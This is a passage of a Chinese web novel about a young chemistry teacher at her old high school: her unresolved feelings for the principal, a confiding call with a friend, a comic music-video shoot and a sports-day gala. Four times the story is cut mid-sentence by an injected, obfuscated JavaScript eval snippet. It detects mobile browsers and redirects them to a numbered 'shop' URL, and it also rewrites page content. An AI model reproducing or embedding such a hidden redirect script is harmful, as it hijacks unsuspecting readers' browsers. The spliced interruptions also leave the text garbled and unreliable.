“你说这么多的前提是它真的能结晶,但这是个未知数。”唐瑜嫣没多犹豫就去找回原料,本来再做一瓶也没有什么损失。 正所谓一回生二回熟,她十分钟不到又配好了一瓶,搁到加热台上。这次的倒顺利异常,没有油状物质,看起来就比上一瓶靠谱多了。 “好了,你们还想玩吗?”宋飞珑看到唐瑜嫣这边成功顺利,展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这仨学生立马兴奋了,纷纷表明自己年年按时交保险,我的人生我做主云云。 展妙还蹬鼻子上脸继续拱火,“老宋,做都做了,要不你做个激烈点的呗,整个铝热反应给大家助助兴!” “给点颜色你们就开染坊了!”宋飞珑似笑非笑,手上动作倒不停,翻出了之前其他老师为了上课方便,以前配好比例的铝热剂,倒进漏斗里,“你们站远点啊!我要点了!” 化学课本上是如何形容铝热反应的?唐瑜嫣记得很清楚,镁带剧烈燃烧,放出大量热,并发出耀眼的白光,而在此刻,这些都冷冰的文字生动了起来,化成炽烈的光芒,闪烁着,鲜活着。 段辰对着这小小的烟花许下新年愿望,展妙喊着老宋多放几次,宋飞珑在无奈地笑,却依着他们一直放,直到把所有铝热剂全部用完,她听见他在最后一次燃烧时跟他们道别,“那大家,暑假再见咯!” ——他只有在离开的时候才会这么不加赘述,突然且简明,一切情感留在不言之中,把所有的话留到下一次重逢。 “宋哥我会想你的!”段辰说。 “我也是!下次回来给我们带礼物啊!”这是展妙。 唐瑜嫣不知道说什么,就只留了一句,“老陈要恨死你了,把他的铝热剂全用完了!” “所以这到底是谁害的啊!”宋飞珑对这种狼心狗肺转头就不认人的行为表示不齿! 21. 第 21 章 大梦惊醒的滋味最为苦涩,正如庄周梦蝶,不知身是客。唐瑜嫣梦里与现实的铁山也盘旋交织在一起,太过难舍难分,像是要吸收耗空她的全部精力。 唐瑜嫣感觉独自溺在一片寂静中,没有光,也没有烟花,她的感官和情绪在迟钝,对时间的流逝也没有了概念,只在抬头看日历的时候,才发觉时间已经过去一个多月。 学校的工作生活重归平静,一切都在迈入正轨。这个月里发生的事说多也不算多,说少也不算少,在这里简要概述便是。 首先谈谈竞赛部吧,拿到初赛名额的孩子基本都选择去试试水,居然有几个还拿到了不错的成绩,虽然都没能进到国赛,但小魏小严竟然各拿了个省一。 “唐老师,唐老师?你怎么不理我啊,你最近老在发呆哎!大事大事,你快看我第一年就拿到了省一哎!”魏浩得意洋洋。 “所以你之前感到挫败是因为你只和进省队那五十个人比是吗。”唐瑜嫣回过神来,面无表情地问,“哦,不止,还有国家队那五十个。我们天下第一武林高手眼界就是高啊,刚出新手村就想打boss。” “也没有天下第一啦…勉勉强强也就算个一流高手嘛……”魏浩想了想还是没把奖状直接贴身上显摆,要不说谦虚是人类的美德呢。 严鹏飞拿着题向唐瑜嫣求教,闻言从容不迫地拆台,“他考试前一周每天都熬到凌晨两点。” 他开夜车时打的手电光还透过水管的洞照到了隔壁宿舍,那忽闪的莹莹幽光把隔壁半夜起床上厕所的倒霉同学吓得半死,裤子都来不及提,四肢并用连滚带爬地摸回床上施展被子封印术。 消息最灵通的冯少爷第二天就听说了这起神乎其神的厕所怪谈,于是把尴尬得脚趾抠地的魏浩拉过去赔礼道歉。 “唐老师,我也要举报,冯熠上节直播课公然睡觉,还被教授点名了!” “你,我靠,不是…”面对魏浩报复性的“两肋插刀”,冯熠想了半天想不出一个狡辩的词,郁闷地说,“你不觉得这教授一讲话就催眠吗,这生物书上什么转录逆转录的这一大堆英文是人能学会的吗!” “我不觉得啊,我又不用学生物:)” “……” 嗯对,反正就是这样,这些没机会考初赛的就只能老老实实地看书补课了。 “某人不是声称要让我刮目相看的吗?怎么这就退缩了。”唐瑜嫣饶有兴味地问。 “我…这…唐老师,这真的没有什么押题或者速通方法吗…”他趴在桌上把脸埋进臂弯里自闭。 “真把竞赛当成中考了…还速通呢,要不我直接在考试的时候站你旁边把答案念给你听怎么样,更高效!”唐瑜嫣似笑非笑。 ——你猜猜当年为什么附中憾取三枚银牌呢。 “唐老师,我们是不是很快就要去西德外培了?”严鹏飞突然想起。 “什么!那我校运会怎么办!我心心念念的校运会!我答应了好多人去帮他们加油呢!”冯熠闻言立马把头抬起,整个人从椅子上弹起来。 唐瑜嫣瞥了他一眼,故意慢吞吞地说:“是的,这次外培不分学科,大家一起去,我也要去……” 看到冯熠急得眼睛都要喷火了才补完后半句,“……但估计是下个月的事了,那边具体开营时间还没定。” 冯熠又跌坐回去,“那咱能去看校运会不?”他这段时间玩命地学就是为了给校运会腾出时间。 “你完成当期学习计划了想去就去呗,哦别怪我不提醒你们啊,小姜校运会是要上场打球的。”唐瑜嫣漫不经心,又有些神游天外。她近期也有几场试课和培训,都为了后面的计划尽量排早了。 竞赛部蒸蒸日上,她个人的教师事业也在渐渐打好地基,平地起高楼。 她第一次在陈老师他们班试课的时候,竞赛部这帮孩子不知道从哪听到了风声,倾巢而出,势必要过来帮她捧场。 有位置的坐在自己位置,没位置的搬了椅子坐在教室后面,还勾肩搭背地和来听课的领导老师商量,“挤一挤挤一挤。” 这乌泱泱的挤在教室最后的人群把提前拿着课本和U盘进教室的唐瑜嫣吓了一大跳,最后这堂课挪到了隔壁的公共阶梯教室进行。 上完课后唐瑜嫣自己评价,先不说课上得怎么样,平稳落地,她自认为不会因为这种事紧张,甚至可以称得上心如死水。但毋庸置疑的是,她这第一节课的排面肯定拉满了,哪个老师试课会有这么高的人气。 “唐老师,你就说这是不是一段难忘的经历吧!”还给他们得意上了。 忙完这些事后,她终于抽空给展妙打了一个电话——这也不能全怪唐瑜嫣,这段时间更忙的另有其人。 作为她们学校为数不多的考古系研究生,展妙每天被她的教授带着到处跑,今天在这挖土,明天在那处理陶片,远离城区田野实习,连手机信号都连不上。被本硕博连读的医学牛马段辰无情嘲笑,连连感叹他们考古的尽头是返祖成山顶洞人。 除了唐瑜嫣刚回附中那会儿,展妙逆天改命,硬是跑了几公里给她找到了个信号好的地方,片刻不停地拨打电话,以一种惊人的语速跟她嘱咐这嘱咐那之外,信号区内基本查无此人。 “小唐,我终于从土坡里滚出来了!有没有想我么么么!”展妙打的是视频电话,估计一进信号区就打了过来,能看出脸上的泥点子都没擦干净,身体还随着大巴车上下颠簸。 “乖,拿纸沾点水擦擦脸再说,”唐瑜嫣诚恳地建议,看到她擦干净的脸后又忍不住开口,“展姐,你现在黑得像块碳。” “哎呀,工地实习是这样的,大家都要经历这一劫,擦了防晒霜的,没有被晒伤!”“黑碳精”没当回事,兴致勃勃,“说点我感兴趣的呀!铁山变化大吗!他们说之前分家的时候校训石被搬走了是真的吗?” “嗯…但现在又被搬回来了。说实话我感觉没多大变化,你的小火锅和蒸菜都还在,校服还是绿色垃圾桶,老陈还是我老师,可能课外活动多了一点,比以前氛围好一点……” “嚯,这是老宋的功劳吧!”唐瑜嫣有意避开提到宋飞珑,但展妙偏偏哪壶不提提哪壶,“当时换校长我还担心来着,后来发现是老宋上台就觉得稳了,老宋肯定不会让附中没落的。” “话说小唐,你俩现在怎么样了?肯定见上面了吧!”前面都是铺垫,显然展妙最想八卦的是这个。 还是逃不过,唐瑜嫣叹了口气……展妙算是少数知道他俩内情的朋友之一了。 “见了,但不如不见……”见面了又让她心怀妄想,徒增烦恼。 “哎哟你们之前分开纯天灾人祸导致的啊!”展妙恨好友在感情二字上的不顺利与不争气,在她眼里小唐和老宋简直是天作之合,恨不得快刀斩乱麻,帮他们扫荡所有困难与挫折。 她转身从防晒用品里掏出了副墨镜戴上装半仙,“我浅浅掐指一算,你俩虽数年天各一方,但依旧两情相悦,现在又在铁山相聚,这可是命定的缘分,休要再逆天而行啊施主。” “展姐你讲点道理,”唐瑜嫣有些牙疼,“首先我俩并没有这么多苦情戏码……” “那我问你,你还喜欢老宋吗?”展妙老神在在。 “……喜欢。”这两字烫嘴,但唐瑜嫣了解自己,也不想欺骗真心为自己找想的朋友,从再见到宋飞珑的第一眼她就知道,这么多年了她还是会为这个浪漫且炽烈的理想主义者吸引。 “那你觉得老宋喜欢你吗?” “……大概率吧。”她能感觉到宋飞珑对她那种排他性的好,硬要归结为挚友那真是自欺欺人。 “那不就结了,我有说错什么吗?喜欢为什么不在一起?你俩什么时候复合?快进到请我吃喜糖环节,结婚我要坐主桌。” 唐瑜嫣对她的想象力叹为观止,一时半会竟不知道该对哪一点进行吐槽。 她思忖片刻,要不要把目前的情况告诉展妙,让她提点建议呢? 俗话说得好,当局者迷,旁观者清,他山之石,可以攻玉。她已经纠结了一个月,远超她的决策极限——当初决定放弃大城市回铁山,也才用了一周。 可见情之一字确实难解,唐瑜嫣斟酌了一下,还是谨慎地开口:“展姐,是这样的,我和宋飞珑在回学校的第一天就见面了。” “当时我俩重新加了联系方式,也没怎么样,直到我把竞赛部的事解决清楚了,他请我吃了餐饭。” 她顿了顿,“那餐饭本身没什么问题,问题在于后来我们还去坐船游江了,我当时鬼迷心窍,问他为什么发消息说来帮我过生日,然后就再也联系不上了。” “我知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406470|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家出事…我当时就突然想问,他为什么要给我发一条消息然后突然消失,就是,他完全可以解释一句什么的。到最后全世界只有我最后才知道他出国了,还是你告诉我的。” “问完我就后悔了,我也没有那么想知道吧,但他好像觉得我很在意,想来拉我的手,这姑且可以看作是他喜欢我,想和我互诉衷肠的信号吧。” “所以我现在纠结的点在于,我到底是想和他做朋友还是爱人,如果是前者,那就应该把谈情说爱的苗头掐死在摇篮里,我不想最后闹得朋友也做不成。” “如果我要把这段关系定义为爱情,就会有下面这几个问题。首先,我和他家境确实不一样,人家家里争家产确实会闹出人命的,等我再次接受有他的生活后,他又因为家里的事莫名其妙地跑出国消失,我肯定会更难过。”她已经对这人的不告而别产生心理阴影了。 “其次,你也知道我爸和我妈离婚这事,他们俩在结婚前也能算知心好友三观相合,结婚之后也会因为一些鸡毛蒜皮的小事吵起来……我以前没想过,现在年纪增长反而开始胆怯了,我不希望我和他会因为这种事吵架。” “展姐,你知道他当时不告而别的时候我有多难过,我感觉我都不像自己了,我丧失了我的果断自信,洒脱从容,我不希望我要为了成全爱情,牺牲自己的最原本的性格。” “……” 唐瑜嫣一口气跟展妙说了一大堆,有种要把心里所有的纠结与郁闷全部说出来的气势。展妙也难得一直保持安静,从头到尾没有插一句话。 直到她讲得口干舌燥,展妙才开口,“小唐,这关键点在于,现在你不相信他,也不相信你自己了,你现在全在考虑一些发生几率很小的,可以说是最坏的情况。” “你没发现吗?我知道你喜欢走一步看三步,但你现在就是因为不果断和不自信,连千百万条通向好结果的路都看不到了,才会产生这样的纠结与焦虑,但是亲爱的,未来的事还没有发生,很多事情你可以等遇到了再想怎么解决。” “是这样,所以我想就事论事,快点作出决定,但越是这样越在产生更多莫名其妙的想法……”唐瑜嫣更是郁闷,好吧,她现在得承认她不比她的学生高明到哪去。 “所以小唐,你们俩之间的情感是爱情这一点毋庸置疑,你没必要为这段关系贷款破灭而提前焦虑主动退后。” “你现在这样不是爱情给你带来的,是害怕和胆怯给你带来的。你是一个很好的人,老宋也是一个很好的人,你们俩都长大了,已经是很厉害的大人了,你要相信你们俩可以包容彼此,然后一起跨过很多挫折!” “现在的老宋不会在家族争权的时候只能选择逃往国外,你也有了经济能力和自己的人脉圈子不用仰仗别人生活。小唐,你们都和以前不一样了。” 展妙认真地帮她打气,“老宋尊重你,只要你不点头他甚至不会主动打扰你,你更是个嘴硬心软的纸老虎,除了嘴上杠他两句,你哪次是真跟他对着干的?所以你们俩肯定不会因为一些小事吵起来,也肯定和你的父母会有不同结果的。” “所以啊,如果你真的很喜欢他就去和他说吧,这不是你最经常说的吗,沟通才是解决人际关系的最好方……哎哟谁啊?” 她讲在兴头上呢,突然被从后面伸过来的一只手打断。展妙有些不满地转头望——我去,是导师! “哈哈,王教授这么巧?您也来……?”摸鱼吗? “哦,什么事什么事!等我一下啊!我在和我朋友打电话!走不开十万火急!” 这位大忙人刚从车上下来就被拉去了实验室,现在还是偷偷躲在饮水间跟她打电话。好巧不巧的,被出来泡咖啡的教授抓了个正着。 在导师更为不满的目光下,展妙赶紧加快语速,“小唐我导师这边出了点事啊!这学上的真是牛牛又马马。” “总之最后的最后,如果你们俩之间没有结果,我依旧是你们俩各自的好朋友,不会因为这件事改变。如果你嫁进豪门了,苟富贵勿相忘,一定要记得回来包养你正在吃土的糟糠之妻啊!” 说完这句话,电话就被那头主动挂断。 估计这位还未翻身做主人的命苦研究生,已经被她的导师拎着耳朵,拖出饮水间,关在实验室里日夜不停地修复刚出土的古董了。 22. 第 22 章 唐瑜嫣盯着挂断的电话发了好一会呆。展妙的话让她醍醐灌顶。 “对啊,我到底在害怕点什么,连困难都没遇见就开始畏手畏脚,这岁数算是白长了,就算不相信宋飞珑,我也要相信我自己啊!” 这不对,于是她以一种破釜沉舟的气势抄起手机,想一鼓作气跟宋飞珑说清楚。没想到看着他们聊天框里一来一回的聊天消息,莫名又开始咬文嚼字,“你在学校吗,我想清楚了。” 啧,感觉太强势了。 删掉又来,“你最近有空吗,我们谈谈?” 好奇怪,怎么会这么奇怪。这行普普通通的字怎么看起来就这么诡异。 “我喜欢你,喜欢你很久了。” 上来就表白吗?总要循序渐进一点吧。 最后删删改改,她也不知道自己发了一条什么出去,总之对面很快但很抱歉地回了一句,“小唐我在出差,还在西德这边敲进一步的合作合同。线上讲不清楚的话等我回来好吗?最晚校运会的晚会上一定回来。” 于是等待校运会到来的人又多了一位。 不管最后聊的结果如何,至少她已经做好了决定。心里那座大山终于被被挪开,颇有种终于浴火重生的感觉。 如此这般描述可能有些许抽象,让诸位缺少了一些概念。 故我愿称其最明显的外在表现,是我们小唐的工作效率因此飞速提高。 她不仅把之前堆积的一大堆工作全部完成,而且为了在感官上觉得时间过得快一些,她连轴转加了好几天的班,开了好几次会,把后一个月的工作都处理得井井有条。 “距离校运会还有一周,考虑到我们竞赛部学习进度赶,任务重,特许我们不用出节目,当晚直接到看台上入座就成。” “但是我们的音乐老师希望在晚会上出一首自己原创的新歌,需要我们配合,拍一些竞赛部上课的片段,他要剪出一个mv。” 唐瑜嫣把刚刚开会的内容转述给这帮临时演员,在一体机上打开音乐老师倾情献上的ppt和mv脚本。 “其实也没多复杂,上面一堆废话,就是需要你们上课积极举手回答问题的画面,几秒就够了。”她言简意赅地缩句。 “道理我都懂,”魏浩目瞪口呆地指着这个通篇奇怪描述的脚本,“这个女人唱歌男人笑是什么意思。” “合唱团的男女轮唱,老韦希望他们拍出一种互动感。”唐瑜嫣被抓去培训的时候有幸看到过他亲自指挥的画面。 “停一下停一下,”老韦画八字打拍子的手停在半空,然后大鹏展翅似地扑腾着往下按,“对视,要对视,别那么僵硬,要用一种,含情脉脉的眼神勾住对方。你们私下里也要练一下的啊!” “你懂吗?那种三分青涩三分柔和四分热情似火。”老韦真诚地倾囊相授。 “韦老师,私下练,我…我们不会被抓早恋吗?”这位倒霉的男同学盯着对面小姑娘的眼神坚定似入党。听到这该死的拉丝的形容,他再也绷不住,哆嗦着嘴,颤颤巍巍地问。 “哎哟,这是为艺术献身啊,又不是真让你谈!你要被抓去德育处了,我一定会去把你捞出来!”韦老师拍拍胸膛保证。 “我们就不能换一个动作吗,就…我给她比个加油,这不是更…有活力吗……”那男同学十分有九分不乐意,“万一有人看了这个mv早恋怎么办,你就是千古罪人啊老师!” 韦老师摸了摸下巴,又觉得这小同学说得很有道理,成大事者不拘小节,小小改动罢了。他大手一挥,“那行,就按你说得改。” “那个,韦老师啊,校领导那边觉得你这个歌词也不是特别好。”旁边的助教老师闻言趁机举起了手,“这句,允许失望不能绝望。宋校出差去了没表态,其他领导一致认为应该改成,不能失望不能绝望……” “什么!他们懂不懂我这句词的精髓!”韦老师瞬间跳脚,唾沫横飞,“其他的都可以改,就这个不行!这可是我的小巧思,里面蕴含着……” 这幅画面之好笑,情节之离奇,就算过了好几天,唐瑜嫣都能原封不动地描述出来。 “那这个呢,右手画图左手虚空书写,音乐过三秒,用力回头,头与脖子呈90度夹角,露齿笑,起身奔跑,展现热血沸腾的姿态。” 魏浩操控鼠标往下滑,停在了一个更匪夷所思的地方,“这谁做得到?猛回头夹角90度真的不是在演鬼片吗!” 唐瑜嫣早就翻过一遍这个不知所云的脚本,此时恰能大胆猜测,“这应该是学生在研究一道难题,正好这时候有位老师来了,他转身看到了,主动上前提问。” 看着魏浩茫然且迷惑的眼神,冯熠笑得前仰后翻,拍着他的肩膀,“那什么…你真没鉴赏过韦老师的往期大作?就,我们初中的时候,《奔涌吧!铁山少年》和《热血篮球在路上》都是他拍的。” 这下所有人都懂了,这俩知其燃不知其所以燃的小尬片真是举校闻名,其抽象的动作和魔性的节奏让人欲罢不能。 最好笑的莫过于韦老师甚至“贿赂”了广播站,把它们设为每天下午的起床铃声,这俩神经mv在教学楼前面双曲循环播放。 这玩意一经出世就是流传几代,连已经毕业的学长学姐都能在曾经的班级群里看到,基本所有涉及到的主角都要被截成表情包。 “那我们…我们不至于吧!”天上果然不会平白无故地掉馅饼,不用出节目的报应来得如此之快,“我不想成为表情包出现在大家的生命里啊。”教室里出现了此起彼伏的哀嚎。 唐瑜嫣敲了敲黑板,“安静一下…不至于,我们是跑龙套的,但我们需要推举出一位幸运儿作为回答问题的代表,届时会有大相机怼着脸拍。” “唐老师,我斗胆一问,那在上面上课的老师是谁,老陈吗,还是老赵?”有个带着厚厚眼镜框的小姑娘举手。 “哈…虽然很不想承认,但这位倒霉的竞赛部代表老师……”唐瑜嫣战术性扭开杯子,往嘴里灌了半瓶水,凉白开给她喝出了一种借酒浇愁的壮烈,“……是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406471|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。” 没办法,其他竞赛部的任课老师在别的片段都有戏份,纷纷表示要把竞赛部上镜的名额拱手让给她,让她也分一杯羹:) “哈哈哈哈哈哈谁来告诉老韦一下,没有人愿意收到拍摄邀请啊!”魏浩捧腹大笑,还不忘祸水东引,“唐老师我举荐,作为竞赛部所有学生的优秀榜样,我觉得严神很适合当这位学生代表回答问题,而且还不需要提前背答案,多自然多顺理成章啊!” “我……”严鹏飞太阳穴狂跳,拒绝这两个字还没说出来,魏浩就在旁边摁死了他的话头,这位假冒伪劣的传声筒飞速抢答,“我也觉得严鹏飞很适合,而且我刚刚听到他说同意了!” “我没……” “有的有的!我也听到了!” 这俩兄弟一左一右像押送囚犯一样把他挤在中间,铁了心要把这锅甩给他。 唐瑜嫣这两天心情稍霁,表示愿意配合他们,“那咱们投票吧,觉得严鹏飞可以代表我们竞赛部的举手。好的,除严鹏飞外全票通过。” “因为学校希望竞赛部全员出镜,所以我们就在这间开会的大教室上课,我会挑一章无机的内容讲,听不懂没关系,主要要在镜头里展现认真听课的态度。” 唐瑜嫣把脚本关了,点开了一个讲卤素原子的ppt,“我们稍微排练一下,韦老师他们准备来了……好吧,已经来了。” “噢~竞赛部的孩子们,瞧瞧你们,士别三日,真当刮目相看啊!精神面貌都大不相同了!” 韦老师几步瞬步便滑上讲台,半晌后,那群缀在他身后的信息老师才抱着相机、举着补光灯,气喘吁吁地赶到门口。 看这架势,多半也是被拉来充数的“摄影师壮丁”。 “大家别紧张啊,韦老师今天来,就是想借你们拍几个上课镜头,目的是展现一下我们铁山竞赛部的风采!” “小唐老师怎么跑到门边去了?站到讲台上啊,这一趴要展现你和学生们的寓教于学,学生敢于提问的打破权威和……你能理解吗?这几种层次感。”知名大导韦导侃侃而谈,试图让所有人理解他的理念。 “我不能……”唐瑜嫣绷着脸,怕下一秒笑出声,“不过我认为您可以多拍拍学生的反应,反抗权威这事儿学生更有话语权。而我作为被反抗的,只需要在合适的时候表示称赞就好,您说是吧。” 这明显的推卸责任的发言竟然被韦导大加欣赏,他竖起大拇指,“太对了,小唐老师这么有悟性,简直是一语中的。所以这位严同学就是我需要的那个…想起来回答问题,展现自我的同学是吧。” 严鹏飞就这样被看热闹的哥们猛地推起。他费尽千辛万苦挣开,刚要坐下,谁知身下的椅子早被魏浩一脚踹开了。 他无助地抬头,韦老师的眼中闪烁着期待的光。无声对抗了一两秒后,他只得麻木且“主动”接受了自己已经成为竞赛部这一部分内容的倒霉主角的事实。 “竞赛部风云第一条,action!”韦老师喊得激动人心。 23. 第 23 章 “所以这十几秒的片段,你们拍了一个下午?”徐真捂着嘴笑,“还好我那天去教育局交材料了,明智之举啊。” “确实,早知道我也找个什么理由跑路了……老韦那天一会儿批评我笑得不够真挚,一会儿又惋惜严鹏飞少了那种敢于反抗权威的勇者气质,连拍了好几百条他都不满意。” 唐瑜嫣拈起几张湿纸巾,把面前的桌子和镜子上上下下全擦了一遍,终于满意地坐下,“哦,值得一提的是,拍了这么多版,他最后选的是第一版。” 令人惊奇的是,也不知道韦大导演到底是怎样做到的,这片子居然在这么慢的拍摄效率,这么神经的拍摄理念下及时且顺利地完工了。 而且除了给副校长粗略地瞧了一眼,确定了里面没什么不能放的。老韦甚至严防死守,誓死不让其他老师提前看到成片,表示这部mv将在晚会上震撼首发,惊艳所有人。 好吧好吧,怀揣着这一定时炸弹,万众瞩目的校运会终于到来,此时此刻全校都在为这场晚会做最后准备。 而在这举校狂欢之际,第一个掉链子的竟然是我们的一校之长宋飞珑。 据知情人士透露,宋校长跟友校校长扯皮扯到了最后一天,买了压线回来的航班,然而天不遂人愿,很不巧地撞上了飞机晚点。 他家私人航线也没提前申请,现在人被困在西德的飞机场了,也不知道赶不赶得上开幕式校长发言这一环节。 知道这事后,本就随着约定时间接近,为今晚谈话事宜感到愈发紧张的唐瑜嫣升起了一种不好的预感,这人不会又要放她鸽子吧。 不过,她现在当务之急需要考虑的可不是这个。正如你所想,晚会晚会,肯定伴随了表演,而附中历年的传统是不仅学生要表演,老师也要进行开幕演出或加入入场队列。 唐瑜嫣当学生的时候表演过集体节目,发现自己实在是不喜欢这种活动——这种一千个人一千个想法,讨论个半天愣是谈不拢,最后快到提交时间了,迫不得已选了个短视频热舞cosplay扫地机的活动。 而徐真是只纯种社恐二次元鼠鼠,于是她俩不约而同地选择去跟一帮天天抱着热水壶的领导一起走摇旗方阵。 而且为了更好地融入年龄段,且懒得过度打扮。她们从校服供应商那整了件印着“我爱铁山”的莹绿色文化衫,打算不加修饰直接上场。 想法很灵性,现实很骨感。谁能想到,在去候场的半路上,她们被老韦抓了个正着,此人正感慨着自己的布置多么有艺术造诣,多么有青春活力,一定能让孩子们度过一个难忘的夜晚。忽一转头就看见了这俩个浑水摸鱼的绿色指示灯。 他瞪大双眼,浑身颤抖着痛斥两位如此年轻靓丽的女老师怎么能这么堕落,今天可是要全程直播的!赶紧去把衣服换了,再借化妆室把自己拗捣拗捣,要趁年轻多展现自己的美! 唐瑜嫣本就有些烦躁郁闷,面对老韦的嗔怪,还没机会为自己辩解,就被轰进了化妆室。 这位事务繁忙的总负责人很快又被别的老师叫走,一秒也没多留,只匆匆留下一句,“不把自己整得人模狗样的不许参加开幕式晚会!”让她感觉一拳打在了棉花上。 唐瑜嫣无奈,和徐真面面相觑。一腔怒火发不出去,只好泄了气。两人照着镜子,打算在脸上稍微涂抹糊弄一下,快速化一个淡妆。 但这个化妆室实在是乱得惊人,甚至用“乱”字形容还单薄了。 唐瑜嫣一进门就被地上的不明物体拌了一跤,站稳后试探了好一会才找到了个合适的落脚处。她有些无语地抬头探寻刚刚那个阴了自己的东西——一坨刚刚已经被踢飞了的盔甲。 她忍不住环视了一周。这屋子真是五毒俱全,墙边躺着一大堆刀枪矛戈的残骸,面前的桌子上横七竖八地摆着各种刷子眉笔,为数不多的间隙中还横穿着几只画着彩妆的面具。 她叹了口气,抽了几张湿纸巾,稍微给自己擦出一块能放手的地。接着又帮刚出去的那帮舞蹈队的小姑娘收好了她们扔得七零八落的首饰,这让本就不充裕的时间更加紧迫。 “小唐你看这个色号怎么样,我涂会不会太白了?”徐真往手上摁了几泵粉底液,抹开后又惊呼,“哎哟,不行,白成吸血鬼了!现在小姑娘们都喜欢这种感觉吗!哦不对这是表演社的道具……” 唐瑜嫣也拎起一管猩红色的口红,十分不解,那个是吸血鬼,那这个是要表演妖怪吃小孩吗? 她总算是知道为什么桌面上这么乱了——一个节目一个妆面,一共有三十几个节目。从这么多色号里翻出自己表演需要的颜色的难度,并不逊色于在大海里捞针。 等她好不容易终于找到了一支稍微合适一点的,没那么浮夸的颜色,拿了根棉签准备擦,老韦的绝命连环call就来了。 “小唐小徐啊,我让你们竞赛部的同学给你们送正装裙子去了,换上了赶紧来操场啊,快开场了!” 这到底是谁的锅啊!本来她们早就应该到操场了的!荧绿色的文化衫丑是丑了些,你就说学校校徽的颜色是不是绿的吧!是不是显得很爱校吧! 唐瑜嫣在心中抓狂呐喊,但听到敲门声后还是很老实地打开门,伸手去接外面冯熠递过来的袋子。 没想到的是,就她伸出手这会儿,外面一下子冒出了好几个脑袋。不知道是老韦叫唤的,还是高中生干什么都喜欢成群结队,送两件衣服的事儿竟然拖泥带水来了一串儿人。 好吧,这下竞赛部要集体迟到了……唐瑜嫣无奈摇头。 让她更没想到的是,他们送过来的袋子里装的是一条西群和一条西裤。 这帮不靠谱的孩子估计没跟人家说清楚,拿到后也没仔细检查,给她们准备的是一男一女的配置。 但现在再拿回去换更来不及了,人倒霉起来真的喝凉水都能塞牙缝。唐瑜嫣想了想,还是把裙子递给徐真,自己迅速穿上了那套黑色的西装。 扣上最后一颗扣子,她对着镜子比划了一下,心想,“裤腿有点长,衬衫有点皱,勉强能看吧,就是像个卖保险的。” “哎哟小唐帅哎!”徐真把裙子侧面的拉链拉好,瞟到了镜子里的身影,开心惊呼,“我回去就给我oc画个穿西装的pa……” 唐瑜嫣不懂这四个字母到底能拼成个什么单词,嗯嗯了两声表示尊重祝福,“换好了吗?我开门了?” “好了好了,走走走!” 于是唐瑜嫣就这么衣冠楚楚风流倜傥人面兽心地出现在了她那几位学生前面,可惜一张嘴就从高级白领瞬间降级成打工人,“走了!有人落下吗?还有,几位少爷买保险吗?” “等下,有人去厕所……快跑回来了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406472|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …哇,唐老师帅晕了,你去卖保险我买爆好吧!”冯熠左手抬高指了指走廊上往这边飞奔的人,右手竖起大拇指,张口就来,“我先给我家的狗预约一份车险,没别的,纯爱买!” “冯哥,我家的猫说它也想要!天可怜见,她已经有90岁高龄了,如今是能过一天算一天,它这辈子的夙愿是买到一张唐老师手上的保险,请您助它圆梦啊!”不知道是谁又在趁机添如乱。 “行了行了,再耽搁一会儿,你要走在你90岁耄耋老猫前面了。”《运动员进行曲》激昂的旋律于他们谈论间骤然响彻铁山,唐瑜嫣看见那位上厕所的仁兄终于归队,立马收起向这帮癫子兜售保险的心思,拉着徐真撒腿就跑。 “什么,唐老师,怎么刚我跑回来还要再跑啊!”那人看着他们飞奔的背影傻了眼,边追边撕心裂肺地大喊。 他们从艺术楼飞奔而下,跑到了附中的主干道上。学校为校运会精心装扮后发生了大变样,四处洋溢的热烈氛围好似在过节。 道路两侧彩旗飞扬,横幅迎道,树枝交错缠绕着暖灯,教学楼挂上了学生们美术课的画作和班级的合照,体育场这边更是铺了条迎宾大道。四处一派喜气洋洋,热闹非凡。 可惜这帮准迟到份子完全顾不上欣赏周围的装饰,只是一味埋头往冲。 不知道大家会不会有这种奇妙的错觉,人在奔跑的时候好像确实会被迎面呼啸的风或嗓子里微微喘不上气的滞涩感所影响,产生一种“老子天下第一”“老子未来可期”的狂妄。 反正目前在跑这几个人有一大半都是这么想的,开始大家都还在担心会不会迟到这档子事,但中途发现迟到已成定局,突然就如释重负了。 不知道是谁没忍住,发出了第一声轻笑,又不知道是谁被感染,跟着一起笑出声。这笑声好像不经意间就成为了点燃什么的引线,这一大帮子人开始一个接着一个,疯狂大笑起来。 ——这初始的微小的笑声就如此莫名其妙地扩大成了一群人出于本能愉悦的狂笑。 就连唐瑜嫣都在那一刻忘记了自己的烦恼,绽放出真心的笑意。 